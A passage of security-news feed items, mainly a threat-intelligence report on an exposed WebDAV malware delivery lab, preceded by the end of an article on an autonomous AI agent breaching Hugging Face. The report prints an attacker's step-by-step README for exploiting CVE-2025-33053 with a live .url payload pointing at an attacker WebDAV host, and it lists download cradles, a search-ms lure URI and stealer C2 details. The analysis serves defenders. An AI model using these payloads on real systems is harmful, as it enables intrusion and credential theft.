failure.’”</p><h2><b>AI-enabled attacks rose 89% year-over-year</b></h2><p>Autonomous AI-driven attacks are not limited to AI platforms. <a href="https://www.crowdstrike.com/en-us/global-threat-report/">CrowdStrike’s 2026 Global Threat Report</a> documented AI-enabled adversary operations increasing by 89% year over year, with average breakout times falling to 29 minutes. Enterprises running AI workloads in production with agentic access to their pipelines face similar exposure.</p><p>Six control domains determined the blast radius and recovery speed at Hugging Face. Each one maps to a concrete action security leaders can take before the next autonomous-agent breach arrives.</p><h2><b>AI Pipeline Breach Response Playbook</b></h2><table><tbody><tr><td><p><b>Control Domain</b></p></td><td><p><b>What Broke</b></p></td><td><p><b>Monday Action</b></p></td></tr><tr><td><p>Dataset admission controls</p></td><td><p>Two code-execution paths were exploited. No admission gate validated the dataset before it reached a processing worker. The data pipeline became the initial access infrastructure.</p></td><td><p>Require sandbox execution and static analysis of all datasets before they reach workers. Block remote-code loaders and template-injection paths by default. Audit for any path granting code execution to untrusted content. Report to the board as a supply-chain risk.</p></td></tr><tr><td><p>Worker-to-node privilege boundaries</p></td><td><p>Worker isolation failed to prevent escalation to the node. The agent gained cluster credentials because the workload-infrastructure boundary was never enforced at container runtime.</p></td><td><p>Enforce hard privilege boundaries between workers and nodes. Deploy container runtime security to prevent workload escape. Audit whether workers can reach node-level APIs or credential stores. Include in the next penetration test scope.</p></td></tr><tr><td><p>Credential exposure</p></td><td><p>Cloud and cluster credentials harvested after node access. The scope was broad enough for lateral movement across multiple clusters over a weekend.</p></td><td><p>Rotate credentials on a scheduled cadence and after any anomaly alert. Scope to the minimum cluster and service. Deploy monitoring that flags access from unexpected nodes at machine speed. Map blast radius for board reporting.</p></td></tr><tr><td><p>Machine-speed detection</p></td><td><p>Thousands of actions through short-lived sandboxes with self-migrating C2. AI-assisted anomaly detection surfaced the campaign after a weekend of lateral movement, per the disclosure.</p></td><td><p>Calibrate detection for machine-speed patterns. Ensure high-severity alerts page responders in minutes, regardless of time. Audit SIEM rules for detecting thousands of short-lived executions within a single hour.</p></td></tr><tr><td><p>Private AI forensic capacity</p></td><td><p>Commercial APIs blocked forensic analysis. Guardrails screened query content, never analyst identity. Investigation ran on GLM 5.2 privately.</p></td><td><p>Deploy a capable open-weight model on private infrastructure before an incident. Test against real forensic workflows. Ensure IR playbook includes fallback for when commercial APIs refuse. Document gap for cyber insurance.</p></td></tr><tr><td><p>Autonomous-agent threat modeling</p></td><td><p>The campaign matched the forecast agentic-attacker scenario, but no threat model had operationalized it. LLM powering the agent is still unknown.</p></td><td><p>Add autonomous AI agents as a distinct adversary class with machine-speed decision cycles. Run tabletop at agent speed. Present results to the board as evidence that timelines need recalibration. Include in the cyber insurance application.</p></td></tr></tbody></table><h2><b>The board question is operational resilience</b></h2><p>“The question for directors is simple. What happens if one of our critical security tools becomes unavailable during the exact moment we need it most?” Baer framed that as operational resilience, not AI policy. </p><p>She would have boards take that framing straight to management and press for specifics. “Have we actually exercised that fallback during tabletop exercises? How quickly can we switch during an incident?” Procurement needs to change alongside governance, starting with the questions buyers ask. Security teams evaluating AI vendors should ask about their process for authenticated incident responders, whether enterprise customers receive different handling during verified incidents, and whether models can be deployed privately. “Those questions belong alongside uptime, privacy, and compliance,” Baer said.</p><p>“The biggest takeaway isn’t that safety guardrails are ‘bad.’ They’re doing what they were designed to do,” she argued. </p><p>Her larger point is that the threat model itself has changed. “For decades, defenders had better tools than attackers because they operated inside trusted enterprise environments. With foundation models, both sides increasingly use the same capabilities, but one side is constrained by enterprise governance, policy, compliance, and safety controls, while the adversary simply downloads an uncensored open-weight model and keeps going. That’s a new kind of asymmetry,” she added. “The organizations that handle it best won’t necessarily be the ones with the most powerful AI. They’ll be the ones that architect AI as a resilient security capability rather than a single cloud service.”</p><p>Hugging Face has contained the intrusion, rebuilt compromised nodes, rotated credentials, and reported the incident to law enforcement. The company recommends that all users rotate access tokens and review recent account activity. Mid-incident, Hugging Face found out whether its own AI tooling would be available, and the first answer was no. Security leaders running AI in production should find out in incident response planning instead, before an autonomous agent forces the test.</p>]]></content:encoded>
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<title><![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]></title>
<description><![CDATA[Executive summaryAn MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery...]]></description>
<link>https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</guid>
<pubDate>Mon, 20 Jul 2026 15:53:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Executive summary</h2><p><span>An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.</span></p><p><span>Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.</span></p><p><span>This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.</span></p><h2>Introduction: From MDR alert to attacker infrastructure</h2><p><span>The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using </span><span><span data-type="inlineCode">rundll32.exe</span></span><span>. Telemetry showed the WebClient service starting, followed by </span><span><span data-type="inlineCode">davclnt.dll</span></span><span> reaching out to a remote host to retrieve content.</span></p><p><span>That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.</span></p><p><span>At a high level, the 1,048 files clustered as follows:</span></p><p><span></span></p><table><colgroup data-width="1566"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Category</strong></span></p></td><td><p><span><strong>Files</strong></span></p></td><td><p><span><strong>Functions and discoveries</strong></span></p></td></tr><tr><td><p><span>LNK delivery launchers</span></p></td><td><p><span>453</span></p></td><td><p><span>Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths</span></p></td></tr><tr><td><p><span>Filename-spoofing QA</span></p></td><td><p><span>236</span></p></td><td><p><span>Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior</span></p></td></tr><tr><td><p><span>URL/LOLBin execution tests</span></p></td><td><p><span>146</span></p></td><td><p><span>Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution</span></p></td></tr><tr><td><p><span>Encrypted droppers</span></p></td><td><p><span>89</span></p></td><td><p><span>Staged second-stage payloads and installer-style packages</span></p></td></tr><tr><td><p><span>Alternative execution containers</span></p></td><td><p><span>24</span></p></td><td><p><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, </span><span><span data-type="inlineCode">.cpl</span></span><span>, and related delivery containers</span></p></td></tr><tr><td><p><span>Payload stubs and spoofed executables</span></p></td><td><p><span>21</span></p></td><td><p><span>Smaller loaders, decoys, and renamed binaries</span></p></td></tr><tr><td><p><span>WebDAV scripts</span></p></td><td><p><span>17</span></p></td><td><p><span>Scripts intended to make WebDAV delivery more reliable on Windows systems</span></p></td></tr><tr><td><p><span>Builder and operator notes</span></p></td><td><p><span>10</span></p></td><td><p><span><span data-type="inlineCode">README</span></span><span> files, test reports, mappings, and generation scripts</span></p></td></tr><tr><td><p><span>ClickFix HTML lures</span></p></td><td><p><span>9</span></p></td><td><p><span>Browser-based social-engineering pages instructing users to run commands</span></p></td></tr><tr><td><p><span>Miscellaneous files</span></p></td><td><p><span>6</span></p></td><td><p><span>Included documentation for the actor’s WebDAV delivery/admin panel</span></p></td></tr></tbody></table><p><span><em>Table 1: Breakdown of files recovered from the attacker’s delivery workspace</em></span></p><h2><span>Technical analysis and observed attacker behavior</span></h2><h3>Attackers testing like a product team</h3><p><span>The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, </span><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.</span></p><p><span>The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named </span><span><span data-type="inlineCode">testik</span></span><span> and </span><span><span data-type="inlineCode">testik2</span></span><span>, a Russian diminutive form of “test”.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" alt="testing-files-subfolders.png" caption="Figure 1: Snippet of one of many subfolders containing testing files." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="testing-files-subfolders.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" data-sys-asset-uid="bltbc6d4a9f8e6c1e40" data-sys-asset-filename="testing-files-subfolders.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Snippet of one of many subfolders containing testing files." data-sys-asset-alt="testing-files-subfolders.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Snippet of one of many subfolders containing testing files.</figcaption></div></figure><p>⠀</p><p><span>Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.</span></p><p><span></span></p><table><colgroup data-width="1901"><col><col><col></colgroup><tbody><tr><td><p><span><strong>CVE</strong></span></p></td><td><p><span><strong>Observed samples</strong></span></p></td><td><p><span><strong>Short description</strong></span></p></td></tr><tr><td><p><span>CVE-2025-33053</span></p></td><td><p><span>11</span></p></td><td><p><span>Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-33053?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2026-21513</span></p></td><td><p><span>4</span></p></td><td><p><span>MSHTML Framework security feature bypass caused by protection-mechanism failure. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-21513?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2025-24054</span></p></td><td><p><span>1</span></p></td><td><p><span>Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved </span><span><span data-type="inlineCode">.library-ms</span></span><span> files. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24054?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr></tbody></table><p><span><em>Table 2: CVE references observed in the exposed directory.</em></span></p><p></p><p><span>The most developed test set focused on </span><span>CVE-2025-33053,</span><span> the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses </span><span><span data-type="inlineCode">.url</span></span><span> shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span>, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.</span></p><p><span>The README files closely mirrored this logic. They called out </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported </span><span><span data-type="inlineCode">summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr</span></span><span> path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.</span></p><p></p><pre language="c">CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D</pre><p language="html"><span><em>Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.</em></span><em><br></em>⠀</p><p><span>The testing approach was methodical and included the below:</span></p><p><span><strong>Transports</strong></span><span>: WebDAV over </span><span><span data-type="inlineCode">@80</span></span><span> and </span><span><span data-type="inlineCode">@ssl@443</span></span></p><p><span><strong>Path formats</strong></span><span>: </span><span><span data-type="inlineCode">DavWWWRoot</span></span><span> vs. plain UNC</span></p><p><span><strong>Fallback LOLBins</strong></span><span>: </span><span><span data-type="inlineCode">CustomShellHost.exe</span></span><span>, </span><span><span data-type="inlineCode">OfficeC2RClient.exe</span></span><span>, and many more for hosts where </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> is absent</span></p><p><span><strong>Download cradles</strong></span><span>: </span><span><span data-type="inlineCode">bitsadmin /transfer</span></span><span>, </span><span><span data-type="inlineCode">certutil -urlcache -split -f</span></span><span>, </span><span><span data-type="inlineCode">mshta http(s)://…</span></span></p><p><span><strong>Shortcut launchers</strong></span><span>: PowerShell </span><span><span data-type="inlineCode">IEX (New-Object Net.WebClient).DownloadString(...)</span></span><span>, hidden/minimized windows</span></p><p><span><strong>Explorer containers</strong></span><span>: </span><span><span data-type="inlineCode">search-ms:</span></span><span> queries and </span><span><span data-type="inlineCode">.library-ms</span></span><span> files exposing remote payloads</span></p><p><span><strong>ClickFix pages</strong></span><span>: relying on user copy/paste execution</span></p><p><span><strong>Filename spoofing</strong></span><span>: RTLO (U+202E), double extensions, and whitespace padding before </span><span><span data-type="inlineCode">.exe</span></span><span> / </span><span><span data-type="inlineCode">.scr</span></span></p><h2>The lure factory</h2><p><span>The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.</span></p><p><span>Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.</span></p><p><span>The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.</span></p><p><span>The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as </span><span><span data-type="inlineCode">Fix_Connection_Error.html</span></span><span>, </span><span><span data-type="inlineCode">Update_Required.html</span></span><span>, </span><span><span data-type="inlineCode">Secure_Document_Access.html</span></span><span>, </span><span><span data-type="inlineCode">Verification_Failed.html</span></span><span>, and </span><span><span data-type="inlineCode">Open_Document_Instructions.html</span></span><span> show how the actor repackaged the same execution pattern under different social-engineering themes.</span></p><p><span>The commands typically launched PowerShell to fetch remote content, used </span><span><span data-type="inlineCode">cmd.exe</span></span><span> to open payloads from WebDAV or UNC paths, or used utilities like </span><span><span data-type="inlineCode">rundll32</span></span><span> and </span><span><span data-type="inlineCode">mshta</span></span><span> to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.</span></p><h2>The payload chains </h2><p><span>The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.</span></p><p><span>We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, </span><span><span data-type="inlineCode">CursorSetup</span></span><span>, </span><span><span data-type="inlineCode">ReportFinal.rsc.pdf</span></span><span>, </span><span><span data-type="inlineCode">ReportFina.exe</span></span><span> and </span><span><span data-type="inlineCode">pdfgear_setup_v2.1.16.exe</span></span><span>, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.</span></p><p><span>Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. </span></p><p><span>This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution. </span></p><h2><span>Case study 1: CURP campaign targeting Mexico</span></h2><p><span>Our MDR alert began with a user who landed on the phishing site </span><span><span data-type="inlineCode">www[.]gobf[.]mx</span></span><span>, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at </span><a href="https://www.gob.mx/curp/" target="_blank"><span>https://www.gob.mx/curp/</span></a><span>. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico%E2%80%99s-CURP-lookup-service.png" alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-uid="bltc4d4e8c3f881bba8" data-sys-asset-filename="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." data-sys-asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.</figcaption></div></figure><p>⠀</p><p><span>The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a </span><span><span data-type="inlineCode">search-ms:</span></span><span> URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to </span><span><span data-type="inlineCode">.scr</span></span><span> files:</span></p><p><span></span></p><pre language="c">search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &amp;query=*.scr
         &amp;crumb=location:\\onedrive.cv@80\Downloads\CURP</pre><p>⠀<br><span>It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.</span></p><p><span>The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The </span><span><span data-type="inlineCode">CURP</span></span><span> folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span>, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.</span><br></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" alt="Simba-Service-WebDAV-dashboard-CURP.png" caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-uid="bltedc57850fe037c68" data-sys-asset-filename="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." data-sys-asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.</figcaption></div></figure><p>⠀</p><p><span>Although </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span> appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded </span><span><span data-type="inlineCode">.scr</span></span><span> executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the </span><span><span data-type="inlineCode">Fo-Binary.exe</span></span><span> loader, initiating the multi-stage infection chain.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" alt="Execution-chain-PDF-lure.jpg" caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" data-sys-asset-uid="bltf312b78111eb9912" data-sys-asset-filename="Execution-chain-PDF-lure.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." data-sys-asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.</figcaption></div></figure><p>⠀</p><p><span>The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:</span></p><ul><li><span><strong>Decryption:</strong></span><span> The </span><span><span data-type="inlineCode">Fcqleh</span></span><span> loader decrypted the embedded payload using AES and GZip.</span></li><li><p><span><strong>Reflective Loading: </strong></span><span>The loader mapped the payload directly into memory using the </span><span><span data-type="inlineCode">Assembly.Load(byte[])</span></span><span> API.</span></p></li><li><p><span><strong>Process Injection:</strong></span><span> The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.</span></p></li></ul><p><span>The decrypted in-memory configuration exposed the payload’s feature set and version </span><span><span data-type="inlineCode">4.4.3</span></span><span>. It also contained the build tag </span><span><span data-type="inlineCode">06x12x2026SantaEbash2</span></span><span>, which matched toolkit timestamps from June 12, 2026.</span></p><p><span>Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram </span><span><span data-type="inlineCode">tdata</span></span><span> session database, Foxmail data, and a screenshot of the victim’s desktop.</span></p><p><span>The payload also included anti-analysis checks. The payload checked for the </span><span><span data-type="inlineCode">COR_PROFILER</span></span><span> environment variable and called </span><span><span data-type="inlineCode">IsDebuggerPresent</span></span><span>. If the malware detected that it was being monitored or debugged, it immediately called </span><span><span data-type="inlineCode">FailFast</span></span><span> to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. </span></p><p><span>Collected data was exfiltrated to </span><span><span data-type="inlineCode">77[.]110.127.205</span></span><span> (alias </span><span><span data-type="inlineCode">google.services.ug</span></span><span>, certificate </span><span><span data-type="inlineCode">CN=Eglgyqnoa</span></span><span>) over </span><span><span data-type="inlineCode">SslStream</span></span><span> (TLS without SNI) and raw </span><span><span data-type="inlineCode">Socket</span></span><span>.</span><span>The stolen data was sent as a multipart HTTP POST request to </span><span><span data-type="inlineCode">/c2</span></span><span>.</span></p><p><span>Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.</span></p><h2>Case study 2: The "DlrtyGames" sideloading chain</h2><p><span>While the </span><span><span data-type="inlineCode">ReportFinal</span></span><span> lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> chain began with a silent 7-Zip SFX dropper, </span><span><span data-type="inlineCode">DlrtyGames.exe</span></span><span>. It extracted a benign, signed Ubisoft binary, </span><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span>, into the victim’s temporary directory alongside a trojanized dependency, </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. </span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" alt="DlrtyGames-execution-chain.jpg" caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" data-sys-asset-uid="bltf89ec69e4241e5c3" data-sys-asset-filename="DlrtyGames-execution-chain.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." data-sys-asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.</figcaption></div></figure><p>⠀</p><p><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span> used DLL sideloading to load </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. This decoded its configuration, resolved APIs by hash, and manually mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span>. The mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span> stage then read </span><span><span data-type="inlineCode">loader-pool.db</span></span><span>, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through </span><span><span data-type="inlineCode">dllhost.exe</span></span><span>, and prepared the final hollowing stage.</span></p><p><span>The final injection stage was handled by an x86 PIC shellcode blob carved from </span><span><span data-type="inlineCode">loader-pool.db</span></span><span> at offset </span><span><span data-type="inlineCode">0xb516a</span></span><span>. That shellcode created signed host processes such as </span><span><span data-type="inlineCode">MegArray.exe</span></span><span> or </span><span><span data-type="inlineCode">Crisp.exe</span></span><span> in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a 